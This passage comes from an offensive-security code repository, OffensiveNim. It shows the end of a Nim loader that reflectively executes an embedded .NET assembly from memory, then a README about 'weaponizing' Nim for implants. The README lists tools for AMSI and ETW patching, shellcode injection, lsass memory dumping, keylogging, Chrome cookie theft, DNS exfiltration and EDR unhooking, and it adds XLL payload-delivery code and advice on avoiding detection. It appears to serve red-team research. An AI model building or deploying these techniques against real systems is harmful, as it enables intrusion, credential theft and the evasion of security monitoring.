d,0x22,0x75,0x72,0x6e,0x3a,0x73,0x63,0x68,0x65,0x6d,0x61,0x73,0x2d,0x6d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x63,0x6f,0x6d,0x3a,0x61,0x73,0x6d,0x2e,0x76,0x31,0x22,0x20,0x6d,0x61,0x6e,0x69,0x66,0x65,0x73,0x74,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3d,0x22,0x31,0x2e,0x30,0x22,0x3e,0xd,0xa,0x20,0x20,0x3c,0x61,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x49,0x64,0x65,0x6e,0x74,0x69,0x74,0x79,0x20,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3d,0x22,0x31,0x2e,0x30,0x2e,0x30,0x2e,0x30,0x22,0x20,0x6e,0x61,0x6d,0x65,0x3d,0x22,0x4d,0x79,0x41,0x70,0x70,0x6c,0x69,0x63,0x61,0x74,0x69,0x6f,0x6e,0x2e,0x61,0x70,0x70,0x22,0x2f,0x3e,0xd,0xa,0x20,0x20,0x3c,0x74,0x72,0x75,0x73,0x74,0x49,0x6e,0x66,0x6f,0x20,0x78,0x6d,0x6c,0x6e,0x73,0x3d,0x22,0x75,0x72,0x6e,0x3a,0x73,0x63,0x68,0x65,0x6d,0x61,0x73,0x2d,0x6d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x63,0x6f,0x6d,0x3a,0x61,0x73,0x6d,0x2e,0x76,0x32,0x22,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x3c,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6c,0x65,0x67,0x65,0x73,0x20,0x78,0x6d,0x6c,0x6e,0x73,0x3d,0x22,0x75,0x72,0x6e,0x3a,0x73,0x63,0x68,0x65,0x6d,0x61,0x73,0x2d,0x6d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x63,0x6f,0x6d,0x3a,0x61,0x73,0x6d,0x2e,0x76,0x33,0x22,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6f,0x6e,0x4c,0x65,0x76,0x65,0x6c,0x20,0x6c,0x65,0x76,0x65,0x6c,0x3d,0x22,0x61,0x73,0x49,0x6e,0x76,0x6f,0x6b,0x65,0x72,0x22,0x20,0x75,0x69,0x41,0x63,0x63,0x65,0x73,0x73,0x3d,0x22,0x66,0x61,0x6c,0x73,0x65,0x22,0x2f,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x2f,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6c,0x65,0x67,0x65,0x73,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x3c,0x2f,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3e,0xd,0xa,0x20,0x20,0x3c,0x2f,0x74,0x72,0x75,0x73,0x74,0x49,0x6e,0x66,0x6f,0x3e,0xd,0xa,0x3c,0x2f,0x61,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x3e,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x20,0x0,0x0,0xc,0x0,0x0,0x0,0xec,0x37,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0] 21 | 22 | echo "[*] Installed .NET versions" 23 | for v in clrVersions(): 24 | echo fmt" \--- {v}" 25 | echo "\n" 26 | 27 | echo "" 28 | 29 | var assembly = load(buf) 30 | dump assembly 31 | 32 | #[ 33 | 34 | # I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong! 35 | # See https://github.com/byt3bl33d3r/OffensiveNim/issues/9 36 | 37 | var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString()) 38 | var mn = fromCLRVariant[string](assembly.EntryPoint.Name) 39 | echo fmt"[*] EntryPoint.DeclaringType: '{dt}'" 40 | echo fmt"[*] EntryPoint.MethodName: '{mn}'" 41 | var t = assembly.GetType(dt) 42 | var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod 43 | @t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array 44 | @t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args 45 | 46 | ]# 47 | 48 | var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments 49 | assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 50 | 51 | arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args 52 | assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | OffensiveNim 3 |

4 | 5 | # OffensiveNim 6 | 7 | My experiments in weaponizing [Nim](https://nim-lang.org/) for implant development and general offensive operations. 8 | 9 | ## Table of Contents 10 | 11 | - [OffensiveNim](#offensivenim) 12 | * [Why Nim?](#why-nim) 13 | * [Examples in this repo](#examples-in-this-repo-that-work) 14 | * [Compiling the examples](#compiling-the-examples-in-this-repo) 15 | + [Easy Way (Recommended)](#easy-way-recommended) 16 | + [Hard Way (For the Bold)](#hard-way-for-the-bold) 17 | * [Cross Compiling](#cross-compiling) 18 | * [Interfacing with C/C++](#interfacing-with-cc) 19 | * [Creating Windows DLLs with an exported DllMain](#creating-windows-dlls-with-an-exported-dllmain) 20 | * [Optimizing executables for size](#optimizing-executables-for-size) 21 | * [Reflectively Loading Nim Executables](#reflectively-loading-nim-executables) 22 | * [Executable size difference with the Winim Library](#executable-size-difference-when-using-the-winim-library-vs-without) 23 | * [Opsec Considirations](#opsec-considerations) 24 | * [Converting C Code to Nim](#converting-c-code-to-nim) 25 | * [Language Bridges](#language-bridges) 26 | * [Debugging](#debugging) 27 | * [Setting up a dev environment](#setting-up-a-dev-environment) 28 | * [Pitfalls I found myself falling into](#pitfalls-i-found-myself-falling-into) 29 | * [Interesting Nim Libraries](#interesting-nim-libraries) 30 | * [Nim for Implant Dev Links](#nim-for-implant-dev-links) 31 | * [Contributors](#contributors) 32 | 33 | ## Why Nim? 34 | 35 | - Compiles *directly* to C, C++, Objective-C and Javascript. 36 | - Since it doesn't rely on a VM/runtime does not produce what I like to call "T H I C C malwarez" as supposed to other languages (e.g. Golang) 37 | - Python inspired syntax, allows rapid native payload creation & prototyping. 38 | - Has **extremely** mature [FFI](https://nim-lang.org/docs/manual.html#foreign-function-interface) (Foreign Function Interface) capabilities. 39 | - Avoids making you actually write in C/C++ and subsequently avoids introducing a lot of security issues into your software. 40 | - Super easy cross compilation to Windows from *nix/MacOS, only requires you to install the `mingw` toolchain and passing a single flag to the nim compiler. 41 | - The Nim compiler and the generated executables support all major platforms like Windows, Linux, BSD and macOS. Can even compile to Nintendo switch , IOS & Android. See the cross-compilation section in the [Nim compiler usage guide](https://nim-lang.github.io/Nim/nimc.html#crossminuscompilation) 42 | - You could *technically* write your implant and c2 backend both in Nim as you can compile your code directly to Javascript. Even has some [initial support for WebAssembly's](https://forum.nim-lang.org/t/4779) 43 | 44 | ## Examples in this repo that work 45 | 46 | | File | Description | 47 | | --- | --- | 48 | | [pop_bin.nim](../master/src/pop_bin.nim) | Call `MessageBox` WinApi *without* using the Winim library | 49 | | [pop_winim_bin.nim](../master/src/pop_winim_bin.nim) | Call `MessageBox` *with* the Winim libary | 50 | | [pop_winim_lib.nim](../master/src/pop_winim_lib.nim) | Example of creating a Windows DLL with an exported `DllMain` | 51 | | [execute_assembly_bin.nim](../master/src/execute_assembly_bin.nim) | Hosts the CLR, reflectively executes .NET assemblies from memory | 52 | | [clr_host_cpp_embed_bin.nim](../master/src/clr_host_cpp_embed_bin.nim) | Hosts the CLR by directly embedding C++ code, executes a .NET assembly from disk | 53 | | [scshell_c_embed_bin.nim](../master/src/scshell_c_embed_bin.nim) | Shows how to quickly weaponize existing C code by embedding [SCShell](https://github.com/Mr-Un1k0d3r/SCShell) (C) directly within Nim | 54 | | [fltmc_bin.nim](../master/src/fltmc_bin.nim) | Enumerates all Minifilter drivers | 55 | | [blockdlls_acg_ppid_spoof_bin.nim](../master/src/blockdlls_acg_ppid_spoof_bin.nim) | Creates a suspended process that spoofs its PPID to explorer.exe, also enables BlockDLLs and ACG | 56 | | [named_pipe_client_bin.nim](../master/src/named_pipe_client_bin.nim) | Named Pipe Client | 57 | | [named_pipe_server_bin.nim](../master/src/named_pipe_server_bin.nim) | Named Pipe Server | 58 | | [embed_rsrc_bin.nim](../master/src/embed_rsrc_bin.nim) | Embeds a resource (zip file) at compile time and extracts contents at runtime | 59 | | [self_delete_bin.nim](../master/src/self_delete_bin.nim) | A way to delete a locked or current running executable on disk. Method discovered by [@jonasLyk](https://twitter.com/jonasLyk/status/1350401461985955840) | 60 | | [encrypt_decrypt_bin.nim](../master/src/encrypt_decrypt_bin.nim) | Encryption/Decryption using AES256 (CTR Mode) using the [Nimcrypto](https://github.com/cheatfate/nimcrypto) library | 61 | | [amsi_patch_bin.nim](../master/src/amsi_patch_bin.nim) | Patches AMSI out of the current process | 62 | | [amsi_providerpatch_bin.nim](../master/src/amsi_providerpatch_bin.nim) | Patches the AMSI Provider DLL (in this case MpOav.dll) to bypass AMSI. Published [here](https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) | 63 | | [etw_patch_bin.nim](../master/src/etw_patch_bin.nim) | Patches ETW out of the current process (Contributed by ) | 64 | | [wmiquery_bin.nim](../master/src/wmiquery_bin.nim) | Queries running processes and installed AVs using using WMI | 65 | | [out_compressed_dll_bin.nim](../master/src/out_compressed_dll_bin.nim) | Compresses, Base-64 encodes and outputs PowerShell code to load a managed dll in memory. Port of the orignal PowerSploit script to Nim. | 66 | | [dynamic_shellcode_local_inject_bin.nim](../master/src/dynamic_shellcode_local_inject_bin.nim) | POC to locally inject shellcode recovered dynamically instead of hardcoding it in an array. | 67 | | [shellcode_callback_bin.nim](../master/src/shellcode_callback_bin.nim) | Executes shellcode using Callback functions | 68 | | [shellcode_bin.nim](../master/src/shellcode_bin.nim) | Creates a suspended process and injects shellcode with `VirtualAllocEx`/`CreateRemoteThread`. Also demonstrates the usage of compile time definitions to detect arch, os etc..| 69 | | [shellcode_fiber.nim](../master/src/shellcode_fiber.nim) | Shellcode execution via fibers | 70 | | [shellcode_inline_asm_bin.nim](../master/src/shellcode_inline_asm_bin.nim) | Executes shellcode using inline assembly | 71 | | [syscalls_bin.nim](../master/src/syscalls_bin.nim) | Shows how to make direct system calls | 72 | | [execute_powershell_bin.nim](../master/src/execute_powershell_bin.nim) | Hosts the CLR & executes PowerShell through an un-managed runspace | 73 | | [passfilter_lib.nim](../master/src/passfilter_lib.nim) | Log password changes to a file by (ab)using a password complexity filter | 74 | | [minidump_bin.nim](../master/src/minidump_bin.nim) | Creates a memory dump of lsass using `MiniDumpWriteDump` | 75 | | [http_request_bin.nim](../master/src/http_request_bin.nim) | Demonstrates a couple of ways of making HTTP requests | 76 | | [execute_sct_bin.nim](../master/src/execute_sct_bin.nim) | `.sct` file Execution via `GetObject()` | 77 | | [scriptcontrol_bin.nim](../master/src/scriptcontrol_bin.nim) | Dynamically execute VBScript and JScript using the `MSScriptControl` COM object | 78 | | [excel_com_bin.nim](../master/src/excel_com_bin.nim) | Injects shellcode using the Excel COM object and Macros | 79 | | [keylogger_bin.nim](../master/src/keylogger_bin.nim) | Keylogger using `SetWindowsHookEx` | 80 | | [memfd_python_interpreter_bin.nim](../master/src/memfd_python_interpreter_bin.nim) | Use `memfd_create` syscall to load a binary into an anonymous file and execute it with `execve` syscall. | 81 | | [uuid_exec_bin.nim](../master/src/uuid_exec_bin.nim) | Plants shellcode from UUID array into heap space and uses `EnumSystemLocalesA` Callback in order to execute the shellcode. | 82 | | [unhookc.nim](../master/src/unhookc.nim) | Unhooks ntdll.dll to evade EDR/AV hooks (embeds the C code template from [ired.team](https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++)) | 83 | | [unhook.nim](../master/src/unhook.nim) | Unhooks ntdll.dll to evade EDR/AV hooks (pure nim implementation) | 84 | | [taskbar_ewmi_bin.nim](../master/src/taskbar_ewmi_bin.nim) | Uses Extra Window Memory Injection via Running Application property of TaskBar in order to execute the shellcode. | 85 | | [fork_dump_bin.nim](../master/src/fork_dump_bin.nim) | (ab)uses Window's implementation of `fork()` and acquires a handle to a remote process using the PROCESS_CREATE_PROCESS access right. It then attempts to dump the forked processes memory using `MiniDumpWriteDump()` | 86 | | [ldap_query_bin.nim](../master/src/ldap_query_bin.nim) | Perform LDAP queries via COM by using ADO's ADSI provider | 87 | | [sandbox_process_bin.nim](../master/src/sandbox_process_bin.nim) | This sandboxes a process by setting it's integrity level to Untrusted and strips important tokens. This can be used to "silently disable" a PPL process (e.g. AV/EDR) | 88 | | [list_remote_shares.nim](../master/src/list_remote_shares.nim) | Use NetShareEnum to list the share accessible by the current user | 89 | | [chrome_dump_bin.nim](../master/src/chrome_dump_bin.nim) | Read and decrypt cookies from Chrome's sqlite database| 90 | | [suspended_thread_injection.nim](../master/src/suspended_thread_injection.nim) | Shellcode execution via suspended thread injection | 91 | | [dns_exfiltrate.nim](../master/src/dns_exfiltrate.nim) | Simple DNS exfiltration via TXT record queries | 92 | | [rsrc_section_shellcode.nim](../master/src/rsrc_section_shellcode.nim) | Execute shellcode embedded in the .rsrc section of the binary | 93 | | [token_steal_cmd.nim](../master/src/token_steal_cmd.nim) | Steal a token/impersonate and then run a command | 94 | | [anti_analysis_isdebuggerpresent.nim](../master/src/anti_analysis_isdebuggerpresent.nim) | Simple anti-analysis that checks for a debugger | 95 | | [sandbox_domain_check.nim](../master/src/sandbox_domain_check.nim) | Simple sandbox evasion technique, that checks if computer is connected to domain or not | 96 | 97 | 98 | ## Examples that are a WIP 99 | 100 | | File | Description | 101 | | --- | --- | 102 | | [amsi_patch_2_bin.nim](../master/wip/amsi_patch_2_bin.nim) | Patches AMSI out of the current process using a different method (**WIP, help appreciated**) | 103 | | [excel_4_com_bin.nim](../master/wip/excel_4_com_bin.nim) | Injects shellcode using the Excel COM object and Excel 4 Macros (**WIP**) | 104 | 105 | ## Compiling the examples in this repo 106 | 107 | This repository does not provide binaries, you're gonna have to compile them yourself. This repo was setup to cross-compile the example Nim source files to Windows from Linux or MacOS. 108 | 109 | ### Easy Way (Recommended) 110 | 111 | Use [VSCode Devcontainers](https://code.visualstudio.com/docs/remote/create-dev-container) to automatically setup a development environment for you (See the [Setting Up a Dev Environment](#setting-up-a-dev-environment) section). Once that's done simply run `make`. 112 | 113 | ### Hard way (For the bold) 114 | 115 | [Install Nim](https://nim-lang.org/install_unix.html) using your systems package manager (for Windows [use the installer on the official website](https://nim-lang.org/install_windows.html)) 116 | 117 | - `brew install nim` 118 | - `apt install nim` 119 | - `choco install nim` 120 | 121 | (Nim also provides a [docker image on Dockerhub](https://hub.docker.com/r/nimlang/nim/)) 122 | 123 | You should now have the `nim` & `nimble` commands available, the former is the Nim compiler and the latter is Nim's package manager. 124 | 125 | Install the `Mingw` toolchain needed for cross-compilation to Windows (Not needed if you're compiling on Windows): 126 | - *nix: `apt-get install mingw-w64` 127 | - MacOS: `brew install mingw-w64` 128 | 129 | Finally, install the magnificent [Winim](https://github.com/khchen/winim) library, along with [zippy](https://github.com/guzba/zippy/) and [nimcrypto](https://github.com/cheatfate/nimcrypto) 130 | 131 | - `nimble install winim zippy nimcrypto` 132 | 133 | Then cd into the root of this repository and run `make`. 134 | 135 | You should find the binaries and dlls in the `bin/` directory 136 | 137 | ## Cross Compiling 138 | 139 | See the cross-compilation section in the [Nim compiler usage guide](https://nim-lang.github.io/Nim/nimc.html#crossminuscompilation), for a lot more details. 140 | 141 | Cross compiling to Windows from MacOs/*nix requires the `mingw` toolchain, usually a matter of just `brew install mingw-w64` or `apt install mingw-w64`. 142 | 143 | You then just have to pass the `-d=mingw` flag to the nim compiler. 144 | 145 | E.g. `nim c -d=mingw --app=console --cpu=amd64 source.nim` 146 | 147 | ## Interfacing with C/C++ 148 | 149 | See the insane [FFI section](https://nim-lang.org/docs/manual.html#foreign-function-interface) in the Nim manual. 150 | 151 | If you're familiar with csharps P/Invoke it's essentially the same concept albeit a looks a tad bit uglier: 152 | 153 | Calling `MessageBox` example 154 | 155 | ```nim 156 | type 157 | HANDLE* = int 158 | HWND* = HANDLE 159 | UINT* = int32 160 | LPCSTR* = cstring 161 | 162 | proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 163 | {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} 164 | 165 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 166 | ``` 167 | 168 | For any complex Windows API calls use the [Winim library](https://github.com/khchen/winim), saves an insane amount of time and doesn't add too much to the executable size (see below) depending on how you import it. 169 | 170 | Even has COM support!!! 171 | 172 | ## Creating Windows DLLs with an exported `DllMain` 173 | 174 | Big thanks to the person who posted [this](https://forum.nim-lang.org/t/1973) on the Nim forum. 175 | 176 | The Nim compiler tries to create a `DllMain` function for you automatically at compile time whenever you tell it to create a windows DLL, however, it doesn't actually export it for some reason. In order to have an exported `DllMain` you need to pass `--nomain` and define a `DllMain` function yourself with the appropriate pragmas (`stdcall, exportc, dynlib`). 177 | 178 | You need to also call `NimMain` from your `DllMain` to initialize Nim's garbage collector. (Very important, otherwise your computer will literally explode). 179 | 180 | Example: 181 | 182 | ```nim 183 | import winim/lean 184 | 185 | proc NimMain() {.cdecl, importc.} 186 | 187 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 188 | NimMain() 189 | 190 | if fdwReason == DLL_PROCESS_ATTACH: 191 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 192 | 193 | return true 194 | ``` 195 | 196 | To compile: 197 | 198 | ``` 199 | nim c -d=mingw --app=lib --nomain --cpu=amd64 mynim.dll 200 | ``` 201 | 202 | ### Creating XLLs 203 | You can make an XLL (an Excel DLL, imagine that) with an auto open function that can be used for payload delivery. The following code creates a simple for an XLL that has an auto open function and all other boilerplate code needed to compile as a link library. The POC compiles as a DLL, you can then change the extension to .xll and it will open in Excel and run the payload when double clicked: 204 | 205 | ```nim 206 | #[ 207 | Compile: 208 | nim c -d=mingw --app=lib --nomain --cpu=amd64 nim_xll.nim 209 | 210 | Will compile as a DLL, you can then just change the extension to .xll 211 | ]# 212 | 213 | import winim/lean 214 | 215 | proc xlAutoOpen() {.stdcall, exportc, dynlib.} = 216 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 217 | 218 | proc NimMain() {.cdecl, importc.} 219 | 220 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 221 | NimMain() 222 | 223 | return true 224 | ``` 225 | 226 | There are many other sneaky things that can be done with XLLs. See [more examples of XLL tradecraft here](https://github.com/Octoberfest7/XLL_Phishing). 227 | 228 | ## Optimizing executables for size 229 | 230 | Taken from the [Nim's FAQ page](https://nim-lang.org/faq.html) 231 | 232 | For the biggest size decrease use the following flags `-d:danger -d:strip --opt:size` 233 | 234 | Additionally, I've found you can squeeze a few more bytes out by passing `--passc=-flto --passl=-flto` to the compiler. Also take a look at the `Makefile` in this repo. 235 | 236 | These flags decrease sizes **dramatically**: the shellcode injection example goes from 484.3 KB to 46.5 KB when cross-compiled from MacOSX! 237 | 238 | ## Reflectively Loading Nim Executables 239 | 240 | Huge thanks to [@Shitsecure](https://twitter.com/ShitSecure) for figuring this out! 241 | 242 | By default, Nim doesn't generate PE's with a relocation table which is needed by most tools that reflectively load EXE's. 243 | 244 | To generate a Nim executable *with* a relocation section you need to pass a few additional flags to the linker. 245 | 246 | Specifically: ```--passL:-Wl,--dynamicbase``` 247 | 248 | Full example command: 249 | ``` 250 | nim c --passL:-Wl,--dynamicbase my_awesome_malwarez.nim 251 | ``` 252 | 253 | ## Executable size difference when using the Winim library vs without 254 | 255 | Incredibly enough the size difference is pretty negligible. Especially when you apply the size optimizations outlined above. 256 | 257 | The two examples `pop_bin.nim` and `pop_winim_bin.nim` were created for this purpose. 258 | 259 | The former defines the `MessageBox` WinAPI call manually and the latter uses the Winim library (specifically `winim/lean` which is only the core SDK, see [here](https://github.com/khchen/winim#usage)), results: 260 | 261 | ``` 262 | byt3bl33d3r@ecl1ps3 OffensiveNim % ls -lah bin 263 | -rwxr-xr-x 1 byt3bl33d3r 25K Nov 20 18:32 pop_bin_32.exe 264 | -rwxr-xr-x 1 byt3bl33d3r 32K Nov 20 18:32 pop_bin_64.exe 265 | -rwxr-xr-x 1 byt3bl33d3r 26K Nov 20 18:33 pop_winim_bin_32.exe 266 | -rwxr-xr-x 1 byt3bl33d3r 34K Nov 20 18:32 pop_winim_bin_64.exe 267 | ``` 268 | 269 | If you import the entire Winim library with `import winim/com` it adds only around ~20ish KB which considering the amount of functionality it abstracts is 100% worth that extra size: 270 | ``` 271 | byt3bl33d3r@ecl1ps3 OffensiveNim % ls -lah bin 272 | -rwxr-xr-x 1 byt3bl33d3r 42K Nov 20 19:20 pop_winim_bin_32.exe 273 | -rwxr-xr-x 1 byt3bl33d3r 53K Nov 20 19:20 pop_winim_bin_64.exe 274 | ``` 275 | 276 | ## Opsec Considerations 277 | 278 | Because of how Nim resolves DLLs dynamically using `LoadLibrary` using it's FFI none of your external imported functions will actually show up in the executables static imports (see [this blog post](https://web.archive.org/web/20210117002945/https://secbytes.net/implant-roulette-part-1:-nimplant/) for more on this): 279 | 280 | ![](https://user-images.githubusercontent.com/5151193/99911179-d0dd6000-2caf-11eb-933a-6a7ada510747.png) 281 | 282 | If you compile Nim source to a DLL, seems like you'll always have an exported `NimMain`, no matter if you specify your own `DllMain` or not (??). This could potentially be used as a signature, don't know how many shops are actually using Nim in their development stack. Definitely stands out. 283 | 284 | ![](https://user-images.githubusercontent.com/5151193/99911079-4563cf00-2caf-11eb-960d-e500534b56dd.png) 285 | 286 | ## Converting C code to Nim 287 | 288 | https://github.com/nim-lang/c2nim 289 | 290 | Used it to translate a bunch of small C snippets, haven't tried anything major. 291 | 292 | ## Language Bridges 293 | 294 | - Python integration https://github.com/yglukhov/nimpy 295 | * This is actually super interesting, [especially this part](https://github.com/yglukhov/nimpy/blob/master/nimpy/py_lib.nim#L330). With some modification could this load the PythonxXX.dll from memory? 296 | 297 | - Jave VM integration: https://github.com/yglukhov/jnim 298 | 299 | ## Debugging 300 | 301 | Use the `repr()` function in combination with `echo`, supports almost all (??) data types, even structs! 302 | 303 | See [this blog post for more](https://nim-lang.org/blog/2017/10/02/documenting-profiling-and-debugging-nim-code.html) 304 | 305 | ## Setting up a dev environment 306 | 307 | This repository supports [VSCode Devcontainers](https://code.visualstudio.com/docs/remote/create-dev-container) which allows you to develop in a Docker container. This automates setting up a development environment for you. 308 | 309 | 1. Install VSCode and Docker desktop 310 | 2. Clone this repo and open it in VSCode 311 | 3. Install the `Visual Studio Code Remote - Containers` extension 312 | 4. Open the command pallete and select `Remote-Containers: Reopen in Container` command 313 | 314 | VScode will now build the Docker image (will take a bit) and put you right into your pre-built Nim dev environment! 315 | 316 | ## Pitfalls I found myself falling into 317 | 318 | - When calling winapi's with Winim and trying to pass a null value, make sure you pass the `NULL` value (defined within the Winim library) as supposed Nim's builtin `nil` value. (Ugh) 319 | 320 | - To get the OS handle to the created file after calling `open()` on Windows, you need to call `f.getOsFileHandle()` **not** `f.getFileHandle()` cause reasons. 321 | 322 | - The Nim compiler does accept arguments in the form `-a=value` or `--arg=value` even tho if you look at the usage it only has arguments passed as `-a:value` or `--arg:value`. (Important for Makefiles) 323 | 324 | - When defining a byte array, you also need to indicate at least in the first value that it's a byte array, bit weird but ok (https://forum.nim-lang.org/t/4322) 325 | 326 | Byte array in C#: 327 | ```csharp 328 | byte[] buf = new byte[5] {0xfc,0x48,0x81,0xe4,0xf0,0xff} 329 | ``` 330 | 331 | Byte array in Nim: 332 | ```nim 333 | var buf: array[5, byte] = [byte 0xfc,0x48,0x81,0xe4,0xf0,0xff] 334 | ``` 335 | 336 | ## Interesting Nim libraries 337 | 338 | - https://github.com/dom96/jester 339 | - https://github.com/pragmagic/karax 340 | - https://github.com/Niminem/Neel 341 | - https://github.com/status-im/nim-libp2p 342 | - https://github.com/PMunch/libkeepass 343 | - https://github.com/def-/nim-syscall 344 | - https://github.com/tulayang/asyncdocker 345 | - https://github.com/treeform/ws 346 | - https://github.com/guzba/zippy 347 | - https://github.com/rockcavera/nim-iputils 348 | - https://github.com/FedericoCeratto/nim-socks5 349 | - https://github.com/CORDEA/backoff 350 | - https://github.com/treeform/steganography 351 | - https://github.com/miere43/nim-registry 352 | - https://github.com/status-im/nim-daemon 353 | 354 | ## Nim for implant dev links 355 | 356 | - https://web.archive.org/web/20210117002945/https://secbytes.net/implant-roulette-part-1:-nimplant/ 357 | - 